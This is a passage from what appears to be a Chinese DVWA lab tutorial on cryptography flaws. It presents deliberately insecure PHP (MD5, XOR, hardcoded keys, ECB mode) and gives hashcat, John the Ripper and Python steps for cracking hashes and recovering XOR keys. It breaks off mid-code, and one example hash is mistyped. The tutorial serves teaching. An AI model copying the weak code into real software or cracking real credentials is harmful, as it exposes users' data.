    <content type="html"><![CDATA[<h2 id="目录"><a href="#目录" class="headerlink" title="目录"></a>目录</h2><ul><li><a href="#%E6%BC%8F%E6%B4%9E%E7%AE%80%E4%BB%8B">漏洞简介</a></li><li><a href="#low-%E9%9A%BE%E5%BA%A6">Low 难度</a></li><li><a href="#medium-%E9%9A%BE%E5%BA%A6">Medium 难度</a></li><li><a href="#high-%E9%9A%BE%E5%BA%A6">High 难度</a></li><li><a href="#impossible-%E9%9A%BE%E5%BA%A6">Impossible 难度</a></li><li><a href="#%E9%98%B2%E5%BE%A1%E5%BB%BA%E8%AE%AE">防御建议</a></li></ul><hr><h2 id="漏洞简介"><a href="#漏洞简介" class="headerlink" title="漏洞简介"></a>漏洞简介</h2><h3 id="什么是密码学漏洞（Cryptography-Vulnerabilities）？"><a href="#什么是密码学漏洞（Cryptography-Vulnerabilities）？" class="headerlink" title="什么是密码学漏洞（Cryptography Vulnerabilities）？"></a>什么是密码学漏洞（Cryptography Vulnerabilities）？</h3><p>密码学漏洞是指在加密、哈希、签名等密码学操作中使用不安全的算法、错误的实现或不当的密钥管理，导致数据泄露或被篡改。</p><p><strong>密码学的核心概念：</strong></p><h3 id="1-对称加密（Symmetric-Encryption）"><a href="#1-对称加密（Symmetric-Encryption）" class="headerlink" title="1. 对称加密（Symmetric Encryption）"></a>1. 对称加密（Symmetric Encryption）</h3><p>使用相同密钥进行加密和解密：</p><figure class="highlight stata"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">明文 + 密钥 → 加密 → 密文</span><br><span class="line">密文 + 密钥 → 解密 → 明文</span><br><span class="line"></span><br><span class="line">算法：AES, <span class="keyword">DES</span>, 3DES, Blowfish</span><br></pre></td></tr></table></figure><h3 id="2-非对称加密（Asymmetric-Encryption）"><a href="#2-非对称加密（Asymmetric-Encryption）" class="headerlink" title="2. 非对称加密（Asymmetric Encryption）"></a>2. 非对称加密（Asymmetric Encryption）</h3><p>使用公钥加密，私钥解密：</p><figure class="highlight mipsasm"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">明文 + 公钥 → 加密 → 密文</span><br><span class="line">密文 + 私钥 → 解密 → 明文</span><br><span class="line"></span><br><span class="line">算法：RSA, <span class="built_in">ECC</span>, DSA</span><br></pre></td></tr></table></figure><h3 id="3-哈希函数（Hash-Functions）"><a href="#3-哈希函数（Hash-Functions）" class="headerlink" title="3. 哈希函数（Hash Functions）"></a>3. 哈希函数（Hash Functions）</h3><p>单向函数，生成固定长度的摘要：</p><figure class="highlight mipsasm"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">任意数据 → 哈希 → 固定长度摘要</span><br><span class="line"></span><br><span class="line">算法：<span class="keyword">SHA-256, </span><span class="keyword">SHA-3, </span><span class="keyword">bcrypt</span></span><br><span class="line"><span class="keyword"></span>不安全：MD5, <span class="keyword">SHA-1</span></span><br></pre></td></tr></table></figure><h3 id="4-消息认证码（MAC）"><a href="#4-消息认证码（MAC）" class="headerlink" title="4. 消息认证码（MAC）"></a>4. 消息认证码（MAC）</h3><p>验证消息完整性和真实性：</p><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">消息 + 密钥 → HMAC → 认证码</span><br><span class="line"></span><br><span class="line">算法：HMAC-SHA256</span><br></pre></td></tr></table></figure><p><strong>常见密码学漏洞：</strong></p><table><thead><tr><th>漏洞类型</th><th>描述</th><th>示例</th></tr></thead><tbody><tr><td>弱算法</td><td>使用已被攻破的算法</td><td>MD5, DES, RC4</td></tr><tr><td>短密钥</td><td>密钥长度不足</td><td>56位DES密钥</td></tr><tr><td>硬编码密钥</td><td>密钥写死在代码中</td><td>key&#x3D;”12345678”</td></tr><tr><td>ECB模式</td><td>不安全的分组模式</td><td>AES-ECB</td></tr><tr><td>无IV</td><td>不使用初始化向量</td><td>重复的密文</td></tr><tr><td>弱随机数</td><td>可预测的随机数</td><td>rand(), mt_rand()</td></tr><tr><td>重放攻击</td><td>缺少时间戳&#x2F;nonce</td><td>重复使用token</td></tr></tbody></table><p><strong>危害：</strong></p><ul><li>密码被破解</li><li>数据被解密</li><li>消息被篡改</li><li>身份被伪造</li><li>签名被伪造</li></ul><p><strong>DVWA场景：</strong><br>一个加密消息传输系统，使用不同强度的加密方法。</p><hr><h2 id="Low-难度"><a href="#Low-难度" class="headerlink" title="Low 难度"></a>Low 难度</h2><h3 id="攻击目标"><a href="#攻击目标" class="headerlink" title="攻击目标"></a>攻击目标</h3><p>使用已被攻破的MD5算法，可以轻易破解。</p><h3 id="后端代码分析"><a href="#后端代码分析" class="headerlink" title="后端代码分析"></a>后端代码分析</h3><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// ★★★ Low难度：使用不安全的MD5哈希 ★★★</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 获取用户密码</span></span><br><span class="line"><span class="variable">$password</span> = <span class="variable">$_POST</span>[<span class="string">&#x27;password&#x27;</span>] ?? <span class="string">&#x27;&#x27;</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">// ★★★ 危险操作：使用MD5哈希密码 ★★★</span></span><br><span class="line"><span class="comment">// md5() - MD5哈希函数（已被攻破，不安全！）</span></span><br><span class="line"><span class="comment">// 返回：32位十六进制字符串</span></span><br><span class="line"><span class="comment">//</span></span><br><span class="line"><span class="comment">// 问题：</span></span><br><span class="line"><span class="comment">// 1. MD5已被攻破，存在碰撞攻击</span></span><br><span class="line"><span class="comment">// 2. MD5速度快，易于暴力破解</span></span><br><span class="line"><span class="comment">// 3. 没有使用盐（salt）</span></span><br><span class="line"><span class="comment">// 4. 彩虹表攻击可以快速破解</span></span><br><span class="line"><span class="comment">//</span></span><br><span class="line"><span class="comment">// MD5的碰撞：</span></span><br><span class="line"><span class="comment">// 两个不同的输入可以产生相同的MD5哈希</span></span><br><span class="line"><span class="variable">$hashed</span> = <span class="title function_ invoke__">md5</span>(<span class="variable">$password</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// ★★★ 存储到数据库 ★★★</span></span><br><span class="line"><span class="comment">// 实际应用中会存储这个哈希</span></span><br><span class="line"><span class="comment">// 但攻击者获取数据库后可以轻易破解</span></span><br><span class="line"><span class="variable">$query</span> = <span class="string">&quot;INSERT INTO users (password) VALUES (&#x27;<span class="subst">$hashed</span>&#x27;)&quot;</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">echo</span> <span class="string">&quot;Password hash (MD5): &quot;</span> . <span class="variable">$hashed</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">// ★★★ 简单加密（XOR） ★★★</span></span><br><span class="line"><span class="comment">// 使用简单的XOR加密消息</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">simple_encrypt</span>(<span class="params"><span class="variable">$message</span>, <span class="variable">$key</span></span>) </span>&#123;</span><br><span class="line">    <span class="comment">// XOR加密：message XOR key</span></span><br><span class="line">    <span class="comment">// 特点：</span></span><br><span class="line">    <span class="comment">// 1. 加密和解密使用相同操作</span></span><br><span class="line">    <span class="comment">// 2. 非常不安全</span></span><br><span class="line">    <span class="comment">// 3. 密钥重用会暴露明文</span></span><br><span class="line">    <span class="variable">$result</span> = <span class="string">&#x27;&#x27;</span>;</span><br><span class="line">    <span class="variable">$keylen</span> = <span class="title function_ invoke__">strlen</span>(<span class="variable">$key</span>);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">for</span> (<span class="variable">$i</span> = <span class="number">0</span>; <span class="variable">$i</span> &lt; <span class="title function_ invoke__">strlen</span>(<span class="variable">$message</span>); <span class="variable">$i</span>++) &#123;</span><br><span class="line">        <span class="comment">// ★★★ XOR操作 ★★★</span></span><br><span class="line">        <span class="comment">// ^ - XOR运算符</span></span><br><span class="line">        <span class="comment">// 每个字符与密钥字符进行XOR</span></span><br><span class="line">        <span class="variable">$result</span> .= <span class="title function_ invoke__">chr</span>(<span class="title function_ invoke__">ord</span>(<span class="variable">$message</span>[<span class="variable">$i</span>]) ^ <span class="title function_ invoke__">ord</span>(<span class="variable">$key</span>[<span class="variable">$i</span> % <span class="variable">$keylen</span>]));</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> <span class="title function_ invoke__">base64_encode</span>(<span class="variable">$result</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// ★★★ 硬编码密钥（极度危险！） ★★★</span></span><br><span class="line"><span class="comment">// 密钥直接写在代码中</span></span><br><span class="line"><span class="comment">// 任何人都可以看到源代码就知道密钥</span></span><br><span class="line"><span class="variable">$encryption_key</span> = <span class="string">&quot;secret&quot;</span>;</span><br><span class="line"></span><br><span class="line"><span class="variable">$message</span> = <span class="variable">$_POST</span>[<span class="string">&#x27;message&#x27;</span>] ?? <span class="string">&#x27;&#x27;</span>;</span><br><span class="line"><span class="variable">$encrypted</span> = <span class="title function_ invoke__">simple_encrypt</span>(<span class="variable">$message</span>, <span class="variable">$encryption_key</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">echo</span> <span class="string">&quot;Encrypted message: &quot;</span> . <span class="variable">$encrypted</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">// ★★★ 解密也很简单 ★★★</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">simple_decrypt</span>(<span class="params"><span class="variable">$encrypted</span>, <span class="variable">$key</span></span>) </span>&#123;</span><br><span class="line">    <span class="variable">$decoded</span> = <span class="title function_ invoke__">base64_decode</span>(<span class="variable">$encrypted</span>);</span><br><span class="line">    <span class="keyword">return</span> <span class="title function_ invoke__">simple_encrypt</span>(<span class="variable">$decoded</span>, <span class="variable">$key</span>); <span class="comment">// XOR是对称的</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><p><strong>MD5哈希示例：</strong></p><figure class="highlight markdown"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">输入：password123</span><br><span class="line">MD5：482c811da5d5b4bc6d497ffa98491e38</span><br><span class="line"></span><br><span class="line">输入：admin</span><br><span class="line">MD5：21232f297a57a5a743894a0e4a801fc3</span><br><span class="line"></span><br><span class="line">特点：</span><br><span class="line"><span class="bullet">1.</span> 固定长度32字符</span><br><span class="line"><span class="bullet">2.</span> 相同输入总是产生相同输出</span><br><span class="line"><span class="bullet">3.</span> 不可逆（单向函数）</span><br><span class="line"><span class="bullet">4.</span> 但可以通过彩虹表反查</span><br></pre></td></tr></table></figure><h3 id="漏洞分析"><a href="#漏洞分析" class="headerlink" title="漏洞分析"></a>漏洞分析</h3><p><strong>核心问题：</strong></p><ol><li><p><strong>MD5已被攻破</strong></p><ul><li>存在碰撞攻击</li><li>2004年王小云教授已破解</li><li>可以找到两个不同输入产生相同MD5</li></ul></li><li><p><strong>无盐（Salt）</strong></p><ul><li>相同密码产生相同哈希</li><li>容易被彩虹表攻击</li></ul></li><li><p><strong>XOR加密不安全</strong></p><ul><li>密钥重用会暴露明文</li><li>已知明文攻击</li></ul></li><li><p><strong>硬编码密钥</strong></p><ul><li>密钥写在代码中</li><li>任何人都可以看到</li></ul></li></ol><h3 id="攻击步骤"><a href="#攻击步骤" class="headerlink" title="攻击步骤"></a>攻击步骤</h3><h4 id="步骤1：MD5暴力破解"><a href="#步骤1：MD5暴力破解" class="headerlink" title="步骤1：MD5暴力破解"></a>步骤1：MD5暴力破解</h4><p><strong>使用在线工具：</strong></p><figure class="highlight awk"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">MD5哈希：<span class="number">5</span>f4dcc3b5aa765d61d8327deb882cf99</span><br><span class="line"></span><br><span class="line">在线MD5破解：</span><br><span class="line">- https:<span class="regexp">//</span>crackstation.net/</span><br><span class="line">- https:<span class="regexp">//m</span>d5decrypt.net/</span><br><span class="line">- https:<span class="regexp">//</span>www.md5online.org/</span><br><span class="line"></span><br><span class="line">结果：password</span><br></pre></td></tr></table></figure><p><strong>使用hashcat暴力破解：</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 准备哈希文件</span></span><br><span class="line"><span class="built_in">echo</span> <span class="string">&quot;5f4dcc3b5aa765d61d8327deb882cf99&quot;</span> &gt; hashes.txt</span><br><span class="line"></span><br><span class="line"><span class="comment"># 使用字典攻击</span></span><br><span class="line">hashcat -m 0 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt</span><br><span class="line"></span><br><span class="line"><span class="comment"># -m 0: MD5模式</span></span><br><span class="line"><span class="comment"># -a 0: 字典攻击</span></span><br><span class="line"><span class="comment"># 结果：5f4dcc3b5aa765d61d8327deb882cf99:password</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 暴力破解（纯数字，长度1-8）</span></span><br><span class="line">hashcat -m 0 -a 3 hashes.txt ?d?d?d?d?d?d?d?d</span><br><span class="line"></span><br><span class="line"><span class="comment"># ?d: 数字字符集</span></span><br></pre></td></tr></table></figure><p><strong>使用John the Ripper：</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 准备哈希文件（格式：username:hash）</span></span><br><span class="line"><span class="built_in">echo</span> <span class="string">&quot;admin:21232f297a57a57a743894a0e4a801fc3&quot;</span> &gt; hashes.txt</span><br><span class="line"></span><br><span class="line"><span class="comment"># 破解</span></span><br><span class="line">john --format=raw-md5 hashes.txt</span><br><span class="line"></span><br><span class="line"><span class="comment"># 查看结果</span></span><br><span class="line">john --show hashes.txt</span><br></pre></td></tr></table></figure><h4 id="步骤2：彩虹表攻击"><a href="#步骤2：彩虹表攻击" class="headerlink" title="步骤2：彩虹表攻击"></a>步骤2：彩虹表攻击</h4><p><strong>什么是彩虹表：</strong></p><figure class="highlight node-repl"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">预计算的哈希表：</span><br><span class="line">password → 5f4dcc3b5aa765d61d8327deb882cf99</span><br><span class="line">123456 → e10adc3949ba59abbe56e057f20f883e</span><br><span class="line">admin → 21232f297a57a5a743894a0e4a801fc3</span><br><span class="line"><span class="meta prompt_">...</span></span><br><span class="line"></span><br><span class="line">查找：</span><br><span class="line">获取哈希：5f4dcc3b5aa765d61d8327deb882cf99</span><br><span class="line">在表中查找 → 找到：password</span><br></pre></td></tr></table></figure><p><strong>生成彩虹表：</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 使用rtgen生成彩虹表</span></span><br><span class="line">rtgen md5 loweralpha 1 8 0 1000 1000000 0</span><br><span class="line"></span><br><span class="line"><span class="comment"># 使用rcrack查找</span></span><br><span class="line">rcrack . -h 5f4dcc3b5aa765d61d8327deb882cf99</span><br></pre></td></tr></table></figure><h4 id="步骤3：破解XOR加密"><a href="#步骤3：破解XOR加密" class="headerlink" title="步骤3：破解XOR加密"></a>步骤3：破解XOR加密</h4><p><strong>XOR加密原理：</strong></p><figure class="highlight tap"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">明文：H e l l o</span><br><span class="line">ASCII：72<span class="number"> 101 </span>108<span class="number"> 108 </span>111</span><br><span class="line"></span><br><span class="line">密钥：k e y</span><br><span class="line">ASCII：107<span class="number"> 101 </span>121</span><br><span class="line"></span><br><span class="line">XOR：</span><br><span class="line">72 ^<span class="number"> 107 </span>=<span class="number"> 35 </span> (<span class="comment">#)</span></span><br><span class="line">101 ^<span class="number"> 101 </span>=<span class="number"> 0 </span> (NULL)</span><br><span class="line">108 ^<span class="number"> 121 </span>=<span class="number"> 21 </span>(控制字符)</span><br><span class="line">108 ^<span class="number"> 107 </span>=<span class="number"> 3 </span> (控制字符)</span><br><span class="line">111 ^<span class="number"> 101 </span>=<span class="number"> 10 </span>(换行)</span><br><span class="line"></span><br><span class="line">密文：Base64(这些字节)</span><br></pre></td></tr></table></figure><p><strong>已知密钥破解：</strong></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> base64</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">simple_decrypt</span>(<span class="params">encrypted, key</span>):</span><br><span class="line">    decoded = base64.b64decode(encrypted)</span><br><span class="line">    result = <span class="string">&#x27;&#x27;</span></span><br><span class="line">    keylen = <span class="built_in">len</span>(key)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">for</span> i, byte <span class="keyword">in</span> <span class="built_in">enumerate</span>(decoded):</span><br><span class="line">        result += <span class="built_in">chr</span>(byte ^ <span class="built_in">ord</span>(key[i % keylen]))</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> result</span><br><span class="line"></span><br><span class="line"><span class="comment"># 假设我们知道密钥是&quot;secret&quot;</span></span><br><span class="line">encrypted = <span class="string">&quot;IwQBBQ0A&quot;</span>  <span class="comment"># Base64编码的密文</span></span><br><span class="line">key = <span class="string">&quot;secret&quot;</span></span><br><span class="line"></span><br><span class="line">plaintext = simple_decrypt(encrypted, key)</span><br><span class="line"><span class="built_in">print</span>(<span class="string">f&quot;Decrypted: <span class="subst">&#123;plaintext&#125;</span>&quot;</span>)</span><br></pre></td></tr></table></figure><p><strong>已知明文攻击（Known-Plaintext Attack）：</strong></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 如果知道一段明文和对应的密文</span></span><br><span class="line"><span class="comment"># 可以恢复密钥</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">recover_key</span>(<span class="params">plaintext, ciphertext</span>):</span><br><span class="line">    key = <span class="string">&#x27;&#x27;</span></span><br><span class="line">    decoded = base64.b64decode(ciphertext)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="built_in">len</span>(plaintext)):</span><br><span class="line">        <span class="comment"># 明文 XOR 密文 = 密钥</span></span><br><span class="line">        key_byte = <span class="built_in">ord</span>(plaintext[i]) ^ decoded[i]</span><br><span class="line">        key += <span class="built_in">chr</span>(key_byte)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> key</span><br><span class="line"></span><br><span class="line">plaintext = <span class="string">&quot;Hello&quot;</span></span><br><span class="line">ciphertext = <span class="string">&quot;IwQBBQ0A&quot;</span>  <span class="comment"># 假设这是密文</span></span><br><span class="line"></span><br><span class="line">recovered_key = recover_key(plaintext, ciphertext)</span><br><span class="line"><span class="built_in">print</span>(<span class="string">f&quot;Recovered key: <span class="subst">&#123;recovered_key&#125;</span>&quot;</span>)</span><br></pre></td></tr></table></figure><h4 id="步骤4：暴力破解短密钥"><a href="#步骤4：暴力破解短密钥" class="headerlink" title="步骤4：暴力破解短密钥"></a>步骤4：暴力破解短密钥</h4><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> base64</span><br><span class="line"><span class="keyword">import</span> itertools</span><br><span class="line"><span class="keyword">import</span> string</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">try_decrypt</span>(<span class="params">ciphertext, key</span>):</span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        decoded = base64.b64decode(ciphertext)</span><br><span class="line">        result = <span class="string">&#x27;&#x27;</span></span><br><span class="line">        <span class="keyword">for</span> i, byte <span class="keyword">in</span> <span class="built_in">enumerate</span>(decoded):</span><br><span class="line">            result += <span class="built_in">chr</span>(byte ^ <span class="built_in">ord</span>(key[i % <span class="built_in">len</span>(key)]))</span><br><span class="line">        <span class="keyword">return</span> result</span><br><span class="line">    <span class="keyword">except</span>:</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">None</span></span><br><span class="line"></span><br><span class="line">ciphertext = <span class="string">&quot;IwQBBQ0A&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 假设密钥是5个小写字母</span></span><br><span class="line"><span class="keyword">for</span> key <span class="keyword">in</span> itertools.product(string.ascii_lowercase, repeat=<span class="number">5</span>):</span><br><span class="line">    key_str = <span class="string">&#x27;&#x27;</span>.join(key)</span><br><span class="line">    plaintext = try_decrypt(ciphertext, key_str)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> plaintext <span class="keyword">and</span> plaintext.isprintable():</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;Possible key: <span class="subst">&#123;key_str&#125;</span>, plaintext: <span class="subst">&#123;plaintext&#125;</span>&quot;</span>)</span><br></pre></td></tr></table></figure><hr><h2 id="Medium-难度"><a href="#Medium-难度" class="headerlink" title="Medium 难度"></a>Medium 难度</h2><h3 id="攻击目标-1"><a href="#攻击目标-1" class="headerlink" title="攻击目标"></a>攻击目标</h3><p>使用SHA-1哈希和简单的AES加密，仍有弱点。</p><h3 id="后端代码分析-1"><a href="#后端代码分析-1" class="headerlink" title="后端代码分析"></a>后端代码分析</h3><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// ★★★ Medium难度：使用SHA-1哈希 ★★★</span></span><br><span class="line"></span><br><span class="line"><span class="variable">$password</span> = <span class="variable">$_POST</span>[<span class="string">&#x27;password&#x27;</span>] ?? <span class="string">&#x27;&#x27;</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">// ★★★ 改进：使用SHA-1代替MD5 ★★★</span></span><br><span class="line"><span class="comment">// sha1() - SHA-1哈希函数</span></span><br><span class="line"><span class="comment">// 返回：40位十六进制字符串</span></span><br><span class="line"><span class="comment">//</span></span><br><span class="line"><span class="comment">// 问题：</span></span><br><span class="line"><span class="comment">// 1. SHA-1也已被攻破（2017年Google展示碰撞）</span></span><br><span class="line"><span class="comment">// 2. 仍然没有使用盐</span></span><br><span class="line"><span class="comment">// 3. 速度仍然较快，易于暴力破解</span></span><br><span class="line"><span class="comment">// 4. 不适合密码哈希（应使用bcrypt/Argon2）</span></span><br><span class="line"><span class="variable">$hashed</span> = <span class="title function_ invoke__">sha1</span>(<span class="variable">$password</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">echo</span> <span class="string">&quot;Password hash (SHA-1): &quot;</span> . <span class="variable">$hashed</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">// ★★★ 使用AES加密（但实现有问题） ★★★</span></span><br><span class="line"><span class="comment">// openssl_encrypt() - OpenSSL加密函数</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// ★★★ 问题1：硬编码密钥 ★★★</span></span><br><span class="line"><span class="variable">$encryption_key</span> = <span class="string">&quot;mysecretkey12345&quot;</span>;</span><br><span class="line"></span><br><span class="line"><span class="variable">$message</span> = <span class="variable">$_POST</span>[<span class="string">&#x27;message&#x27;</span>] ?? <span class="string">&#x27;&#x27;</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">// ★★★ 问题2：使用ECB模式 ★★★</span></span><br><span class="line"><span class="comment">// AES-128-ECB - 电子密码本模式</span></span><br><span class="line"><span class="comment">// ECB模式的问题：</span></span><br><span class="line"><span class="comment">// 1. 相同的明文块产生相同的密文块</span></span><br><span class="line"><span class="comment">// 2. 不提供消息完整性保护</span></span><br><span class="line"><span class="comment">// 3. 容易受到块替换攻击</span></span><br><span class="line"><span class="comment">// 4. 不使用IV（初始化向量）</span></span><br><span class="line"><span class="variable">$method</span> = <span 